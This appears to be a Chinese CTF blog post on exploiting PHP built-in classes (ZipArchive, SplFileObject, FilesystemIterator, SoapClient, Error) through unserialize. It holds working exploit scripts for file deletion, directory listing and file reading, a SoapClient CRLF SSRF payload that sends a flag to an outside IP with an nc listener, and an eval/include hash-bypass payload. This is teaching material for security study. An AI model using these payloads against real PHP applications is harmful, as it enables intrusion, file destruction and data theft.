前言
在很多CTF题目中,都遇见了很多次利用php原生类
可以用其xss,ssrf,xxe,反序列化,读文件等
今天就总结一下
可以使用下面的脚本就行php内置类的遍历
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
它的输出为
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
Generator::__wakeup
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
AssertionError::__wakeup
AssertionError::__toString
DOMException::__wakeup
DOMException::__toString
PDOException::__wakeup
PDOException::__toString
PDO::__wakeup
PDOStatement::__wakeup
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
CURLFile::__wakeup
IntlException::__wakeup
IntlException::__toString
mysqli_sql_exception::__wakeup
mysqli_sql_exception::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
SoapClient::__call
SoapFault::__toString
SoapFault::__wakeup
然后在这里讲几个类的简单使用例子
ZipArchive 内置类删除文件(php>5.20)
Bugku noteasytrick
<?php
error_reporting(0);
ini_set("display_errors","Off");
class Jesen {
public $filename;
public $content;
public $me;
function __wakeup(){
$this->me = new Ctf();
}
function __destruct() {
$this->me->open($this->filename,$this->content);
}
}
class Ctf {
function __toString() {
return "die";
}
function open($filename, $content){
if(!file_get_contents("./sandbox/lock.lock")){
echo file_get_contents(substr($_POST['b'],0,30));
die();
}else{
file_put_contents("./sandbox/".md5($filename.time()),$content);
die("or you can guess the final filename?");
}
}
}
if(!isset($_POST['a'])){
highlight_file(__FILE__);
die();
}else{
if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))){
unserialize($_POST['c']);
}
}
第一步 需要绕过wakeup
./sandbox/lock.lock这个文件存在就会到else,我们试试访问这个文件,发现它是存在的,所以到else
else这里很明显是让我们猜文件名 但它文件名又是通过md5加密的 所以想猜出来基本没有可能
到这里就会需要我们利用 ZipArchive内置类的open方法达到删除文件效果
exp
<?php
class Jesen {
public $filename = './sandbox/lock.lock';
public $content = 8;
public $me;}
$a = new Jesen();
$zip = new ZipArchive;
$a->me = $zip;
$b = serialize($a);
$b = str_replace('":3:','":4:',$b);
echo $b;
echo "\n";
其实它的利用原理是这样的ZipArchive::open($filename, ZipArchive::OVERWRITE)
const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8就能达到文件删除的目的
SplFileObject读取文件(php>=5.1.0,php7)
2021年-绿盟杯-serialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class Demo{
public $class;
public $user;
public function __construct()
{
$this->class = "safe";
$this->user = "ctfer";
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}
public function __wakeup()
{
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}
}
class safe{
var $user;
public function __construct($user)
{
$this->user = $user;
echo ("hello ".$this->user);
}
}
if(isset($_GET['data'])){
unserialize($_GET['data']);
}
else{
$demo=new Demo;
很简单的一个利用点
public function __wakeup()
{
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
exp
<?php
class Demo{
public $class;
public $user;
public function __construct(){
$this->class = "FilesystemIterator";
$this->user = "./";
}
}
$res = new Demo();
echo urlencode(serialize($res));
?>
读取目录后再进行读取文件exp
<?php
class Demo{
public $class;
public $user;
public function __construct(){
$this->class = "SplFileObject";
$this->user = "./flag.php";
}
}
$res = new Demo();
echo urlencode(serialize($res));
?>
SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等
要想全部读取的话还需要对文件中的每一行内容进行遍历,就像上述题目中的遍历一下
还有其他几个可遍历目录的类
DirectoryIterator 类(php5,php7)
DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器
需要触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名
如果想输出全部的文件名我们还需要对对象进行遍历
也可以配合glob://协议使用模式匹配来寻找我们想要的文件路径
DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制
FilesystemIterator 类(php5,php7)
FilesystemIterator 类与 DirectoryIterator 类相同
GlobIterator 类(php>=5.3.0,php7)
与前两个类的作用相似,GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径
GlobIterator 类支持直接通过模式匹配来寻找文件路径,也就是说假设我们知道一个文件名的一部分,我们可以通过该类的模式匹配找到其完整的文件名
FilesystemIterator类读目录加SoapClient类SSRF
2021-极客大挑战-SoEzUnser
<?php
class fxxk{
public $par0;
public $par1;
public $par2;
public $par3;
public $kelasi;
public function __construct($par0,$par1,$par2,$par3){
$this -> par0 = $par0;
$this -> par1 = $par1;
$this -> par2 = $par2;
$this -> par3 = $par3;
}
public function newOne(){
$this -> kelasi = new $this -> par0($this -> par1,$this -> par2);
}
public function wuhu(){
echo('syclover !'.$this -> kelasi.' yyds');
}
public function qifei(){
//$ser = serialize($this -> kelasi);
//$unser = unserialize($ser);
$this -> kelasi -> juts_a_function();
}
public function __destruct(){
if(!empty($this -> par0) && (isset($this -> par1) || isset($this -> par2))){
$this -> newOne();
if($this -> par3 == 'unser'){
$this -> qifei();
}
else{
$this -> wuhu();
}
}
}
public function __wakeup(){
@include_once($this -> par2.'hint.php');
}
}
highlight_file(__FILE__);
$hack = $_GET['hack'];
unserialize($hack);
首先有个hint.php在__wakeup中,直接php伪协议拼接读取
$a=new fxxk(); $a->par2='php://filter/read=convert.base64-encode/resource='; $b=serialize($a); echo $b;
得到提示
**<?php $hint = '向管理员的页面post一个参数message(告诉他,"iwantflag") 和 另一个参数 url(它会向这个url发送一个flag'; $hint .= '管理员的页面在当前目录下一个特殊文件夹里'; $hint .= '但是我不知道(你也猜不到的)文件夹名称和管理员页面的名称,更坏的消息是只能从127.0.0.1去访问,你能想个办法去看看(别扫 扫不出来!!!)';**
然后进行当前目录扫描就行
然后目录扫描这里用FilesystemIterator
/www/wwwroot/ctf.rigelx.top/unserbucket/为当前目录,通过报错得到**exp为** <?php class fxxk{ public $par0; public $par1; public $par2; public function __construct(){ $this->par2='1'; $this->par0='FilesystemIterator';; $this->par1='/www/wwwroot/ctf.rigelx.top/unserbucket/'; //$this->par1='/www/wwwroot/ctf.rigelx.top/unserbucket/aaaaaaaaaaafxadwagaefae/'; }} $a=new fxxk(); var_dump(serialize($a));
然后得到在目录下有一个UcantGuess.php
我们直接访问
他页面显示出了一个提示just_for_me,就是需要他自己才能访问
这里就需要根据提示来用SoapClient构造SSRF了
直接上exp
<?php
$target = 'http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php';
$post_string = 'message=iwantflag&url=http://121.41.59.127:8080/';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
);
$b =array('location' => $target, 'user_agent' => 'm1kael^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers) . '^^Content-Length: ' . (string)strlen($post_string) . '^^^^' . $post_string, 'uri' => "flag");
$aaa = serialize($b);
$aaa = str_replace('^^', "\r\n", $aaa);
$aaa = str_replace('&', '&', $aaa);
//echo $aaa;
$c = unserialize($aaa);
class fxxk{
public $par0;
public $par1;
public $par2;
public $par3;
public $kelasi;
public function __construct(){
$this->par0='SoapClient';
$this->par1=null;
$this->par3='unser';
}}
$a=new fxxk();
$a->par2=$c;
echo(urlencode(serialize($a)));
然后在你vps上监听就行 nc -lvvp 8080
得到flag
使用 Error/Exception 内置类绕过哈希比较
[2020 极客大挑战]Greatphp
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
可见,需要进入eval()执行代码需要先通过上面的if语句:
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )
这个乍看一眼在ctf的基础题目中非常常见,一般情况下只需要使用数组即可绕过。但是这里是在类里面,我们当然不能这么做。
这里的考点是md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString
方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。 所以我们可以使用含有 __toString
方法的PHP内置类来绕过,用的两个比较多的内置类就是 Exception 和 Error ,他们之中有一个 __toString
方法,当类被当做字符串处理时,就会调用这个函数。 根据刚才讲的Error类和Exception类中 __toString
方法的特性,我们可以用这两个内置类进行绕过。 由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include
"/flag" 将flag包含进来即可。由于过滤了引号,我们直接用url取反绕过即可。这里 $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";中为什么要在前面加上一个 ?> 呢?
因为 Exception 类与 Error 的 __toString方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”:
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
进入eval()函数会类似于:eval("...Error: <?php payload ?>")。所以我们要用 ?> 来闭合一下,即 eval("...Error: ?><?php payload ?>"),这样我们的payload便能顺利执行了。
poc
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/*
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";
$str = "?><?=include $_GET[_]?>";
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!